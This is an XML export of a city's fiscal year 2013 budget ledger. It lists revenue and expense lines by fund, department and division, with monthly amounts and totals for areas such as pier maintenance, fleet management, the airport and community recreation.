<row _id="2182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>507526.6</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>507526.6</total></row>
<row _id="2183"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402670.0</object><object_description>FUTURE REPLACEMENT-CNG FACILIT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="2184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402690.0</object><object_description>CNG FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-245000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-245000.0</total></row>
<row _id="2185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>405750.0</object><object_description>VEHICLE MAINTENANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-5442406.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5442406.0</total></row>
<row _id="2186"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401680.0</object><object_description>UNDERGROUND TANK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-34000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-34000.0</total></row>
<row _id="2187"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400773.0</object><object_description>JONATHAN CLUB-IMPROVEMENTS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-75000.0</total></row>
<row _id="2188"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>403980.0</object><object_description>DOE ARRA EECB GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-525.0</march><april>0</april><may>0</may><june>0.0</june><total>-525.0</total></row>
<row _id="2189"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>407800.0</object><object_description>CIVIC CENTER PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-1350000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>1350000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2190"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401130.0</object><object_description>SPORTS LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2191"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533690.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2192"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401110.0</object><object_description>TRAFFIC ACCIDENT HAZ MAT CLEAN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="2193"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404320.0</object><object_description>PARAMEDIC SKILLED NURSING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3000.0</total></row>
<row _id="2194"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2285.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2285.0</total></row>
<row _id="2195"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2940.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2940.0</total></row>
<row _id="2196"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>407692.0</object><object_description>TAXI VEHICLE PERMIT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-33600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>78000</april><may>0</may><june>-44400.0</june><total>0.0</total></row>
<row _id="2197"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>660.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>660.0</total></row>
<row _id="2198"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13117.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13117.0</total></row>
<row _id="2199"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1036.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="2200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>420.0</july><august>0</august><september>0.0</september><october>-12.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="2201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>183932.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>183932.0</total></row>
<row _id="2202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>535.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>535.0</total></row>
<row _id="2203"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>AMORT/ACCRET</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-54487.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-54487.0</total></row>
<row _id="2204"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3827.0</july><august>0</august><september>0.0</september><october>-7.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3820.0</total></row>
<row _id="2205"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2919.0</july><august>0</august><september>0.0</september><october>-4.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2915.0</total></row>
<row _id="2206"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>450000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>450000.0</total></row>
<row _id="2207"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="2208"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>204.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>204.0</total></row>
<row _id="2209"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>350.0</total></row>
<row _id="2210"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>137.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>137.0</total></row>
<row _id="2211"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>163151.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1632</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>164783.0</total></row>
<row _id="2212"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2243.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2243.0</total></row>
<row _id="2213"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
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<row _id="2215"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4900.0</total></row>
<row _id="2216"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1079.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1079.0</total></row>
<row _id="2217"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="2218"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4528.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>45</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4573.0</total></row>
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<row _id="2223"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401005.0</object><object_description>SWIM CENTER-ROOM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2224"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401230.0</object><object_description>COMMUNITY GARDENS RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="2226"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13867.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-13867</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="2228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-1200</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>405875.0</object><object_description>HOMEWORK CLUB</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-32550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-32550.0</total></row>
<row _id="2230"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>270925.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>270925.0</total></row>
<row _id="2231"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402140.0</object><object_description>AIRPORT - TIE DOWN CHARGES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-151308.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-151308.0</total></row>
<row _id="2232"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-12650.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-12650.0</total></row>
<row _id="2233"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>713859.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-5725</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>708134.0</total></row>
<row _id="2234"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2008.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>20</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2028.0</total></row>
<row _id="2235"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6849.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-111</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6738.0</total></row>
<row _id="2236"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1095.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-3</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1092.0</total></row>
